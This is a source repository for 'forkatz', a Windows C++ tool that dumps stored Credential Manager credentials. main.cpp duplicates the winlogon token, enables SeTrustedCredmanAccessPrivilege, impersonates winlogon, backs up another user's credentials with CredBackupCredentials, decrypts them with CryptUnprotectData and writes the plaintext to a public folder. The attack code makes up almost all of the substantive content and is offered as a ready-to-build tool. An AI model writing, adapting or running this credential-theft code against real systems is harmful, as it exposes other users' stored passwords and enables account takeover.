├── README.md ├── forkatz.filters ├── forkatz.sln ├── main.cpp ├── forkatz.vcxproj └── .gitignore /README.md: -------------------------------------------------------------------------------- 1 | # forkatz 2 | credential dump using forshaw technique using SeTrustedCredmanAccessPrivilege 3 | 4 | This code is based off of the blog post by james forshaw: https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html?m=1 5 | -------------------------------------------------------------------------------- /forkatz.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | -------------------------------------------------------------------------------- /forkatz.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.30517.126 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "forkatz", "forkatz.vcxproj", "{49FFEBC0-330A-4763-91FF-2568458E95F3}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x64.ActiveCfg = Debug|x64 17 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x64.Build.0 = Debug|x64 18 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x86.ActiveCfg = Debug|Win32 19 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Debug|x86.Build.0 = Debug|Win32 20 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x64.ActiveCfg = Release|x64 21 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x64.Build.0 = Release|x64 22 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x86.ActiveCfg = Release|Win32 23 | {49FFEBC0-330A-4763-91FF-2568458E95F3}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {DCF7000B-5300-4FEB-B2A1-F731CE2F9234} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /main.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include // std::cout 5 | #include // std::ifstream 6 | #include 7 | 8 | #pragma comment(lib, "Crypt32.lib") 9 | 10 | typedef BOOL (WINAPI* CredBackupCredentials)(HANDLE Token, 11 | LPCWSTR Path, 12 | PVOID Password, 13 | DWORD PasswordSize, 14 | DWORD Flags); 15 | 16 | 17 | int main(int argc, char** argv) 18 | { 19 | int winlogonpid = 1452; 20 | int userpid = 3276; 21 | 22 | //if (argc != 3) { 23 | // printf("Usage: bin.exe winlogonpid userpid"); 24 | // return 0; 25 | //} 26 | //else { 27 | // winlogonpid = atoi(argv[1]); 28 | // userpid = atoi(argv[2]); 29 | //} 30 | 31 | CredBackupCredentials pCredBackupCredentials = NULL; 32 | HMODULE hAdvapi = GetModuleHandleA("advapi32.dll"); 33 | if (hAdvapi != NULL) { 34 | pCredBackupCredentials = (CredBackupCredentials)GetProcAddress(hAdvapi, "CredBackupCredentials"); 35 | if (pCredBackupCredentials == NULL) { 36 | printf("not here\n"); 37 | return 0; 38 | } 39 | } 40 | else { 41 | printf("advapi32.dll not loaded...TODO\n"); 42 | return 0; 43 | } 44 | 45 | printf("opening winlog in process\n"); 46 | HANDLE winlogin = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, winlogonpid); 47 | if (winlogin == NULL) { 48 | printf("Open winlogin process handle failed, %d\n", GetLastError()); 49 | return 0; 50 | } 51 | 52 | printf("opening winlogin token\n"); 53 | HANDLE winloginToken = NULL; 54 | BOOL ret = OpenProcessToken(winlogin, TOKEN_DUPLICATE, &winloginToken); 55 | if (ret == FALSE || winloginToken == NULL) { 56 | printf("Open winlogin process token handle failed, %d\n", GetLastError()); 57 | return 0; 58 | } 59 | 60 | printf("duplicating winlogin token\n"); 61 | HANDLE dupToken = NULL; 62 | ret = DuplicateTokenEx(winloginToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken); 63 | if (ret == FALSE || dupToken == NULL) { 64 | printf("duplicate winlogin process token failed, %d\n", GetLastError()); 65 | return 0; 66 | } 67 | 68 | TOKEN_PRIVILEGES tp = { 0 }; 69 | LUID luid = { 0 }; 70 | 71 | ret = LookupPrivilegeValueA(NULL, "SeTrustedCredmanAccessPrivilege", &luid); 72 | if (ret == FALSE) { 73 | printf("[-] Couldn't lookup the privilege value. Error: 0x%x\n", GetLastError()); 74 | return 0; 75 | } 76 | 77 | tp.PrivilegeCount = 1; 78 | tp.Privileges[0].Luid = luid; 79 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 80 | 81 | printf("Enabling SeTrustedCredmanAccessPrivilege to duplicate token\n"); 82 | ret = AdjustTokenPrivileges(dupToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, NULL); 83 | if (ret == FALSE) { 84 | printf("AdjustTokenPrivileges failed %d\n", GetLastError()); 85 | return 0; 86 | } 87 | 88 | printf("Getting user process\n"); 89 | HANDLE userProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, userpid); 90 | if (userProc == NULL) { 91 | printf("couldnt get user process handle %d\n", GetLastError()); 92 | return 0; 93 | } 94 | 95 | printf("Getting user token\n"); 96 | HANDLE userToken = NULL; 97 | ret = OpenProcessToken(userProc, TOKEN_ALL_ACCESS, &userToken); 98 | if (ret == FALSE || userToken == NULL) { 99 | printf("opening current user token failed, %d\n", GetLastError()); 100 | return 0; 101 | } 102 | 103 | printf("impersonating winlogin\n"); 104 | ret = ImpersonateLoggedOnUser(dupToken); 105 | if (ret == FALSE) { 106 | printf("ImpersonateLoggedOnUser failed, %d\n", GetLastError()); 107 | return 0; 108 | } 109 | 110 | printf("creating cred backup for user\n"); 111 | ret = pCredBackupCredentials(userToken, (LPCWSTR)L"c:\\users\\public\\temp.bin", NULL, 0, NULL); 112 | if (ret == FALSE) { 113 | printf("CredBackupCredentials failed, %d\n", GetLastError()); 114 | return 0; 115 | } 116 | 117 | std::ifstream file("c:\\users\\public\\temp.bin", std::ios::binary | std::ios::ate); 118 | std::streamsize size = file.tellg(); 119 | file.seekg(0, std::ios::beg); 120 | 121 | DATA_BLOB DataOut = { 0 }; 122 | DataOut.cbData = size; 123 | DataOut.pbData = (BYTE*)malloc(DataOut.cbData); 124 | file.read((char*)DataOut.pbData, DataOut.cbData); 125 | 126 | DATA_BLOB DataVerify = { 0 }; 127 | LPWSTR pDescrOut = NULL; 128 | 129 | printf("decrypting data\n"); 130 | ret = CryptUnprotectData(&DataOut, &pDescrOut, NULL, NULL, NULL, 0, &DataVerify); 131 | if (ret == FALSE) { 132 | printf("CredBackupCredentials failed, %d\n", GetLastError()); 133 | return 0; 134 | } 135 | 136 | printf("reverting back to self\n"); 137 | ret = RevertToSelf(); 138 | if (ret == FALSE) { 139 | printf("RevertToSelf failed, %d\n", GetLastError()); 140 | return 0; 141 | } 142 | 143 | std::ofstream myfile; 144 | myfile.open("c:\\users\\public\\example.bin"); 145 | myfile.write((const char*)DataVerify.pbData, DataVerify.cbData); 146 | myfile.close(); 147 | 148 | if (DataOut.pbData) 149 | free(DataOut.pbData); 150 | 151 | if (winlogin) 152 | CloseHandle(winlogin); 153 | 154 | if (winloginToken) 155 | CloseHandle(winloginToken); 156 | 157 | if (dupToken) 158 | CloseHandle(dupToken); 159 | 160 | if (userToken) 161 | CloseHandle(userToken); 162 | 163 | return 0; 164 | } -------------------------------------------------------------------------------- /forkatz.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {49ffebc0-330a-4763-91ff-2568458e95f3} 25 | foreshawkatz 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | false 78 | 79 | 80 | true 81 | 82 | 83 | false 84 | 85 | 86 | 87 | Level3 88 | true 89 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 90 | true 91 | 92 | 93 | Console 94 | true 95 | 96 | 97 | 98 | 99 | Level3 100 | true 101 | true 102 | true 103 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 104 | true 105 | 106 | 107 | Console 108 | true 109 | true 110 | true 111 | 112 | 113 | 114 | 115 | Level3 116 | true 117 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 118 | true 119 | 120 | 121 | Console 122 | true 123 | 124 | 125 | 126 | 127 | Level3 128 | true 129 | true 130 | true 131 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 132 | true 133 | 134 | 135 | Console 136 | true 137 | true 138 | true 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | 147 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## 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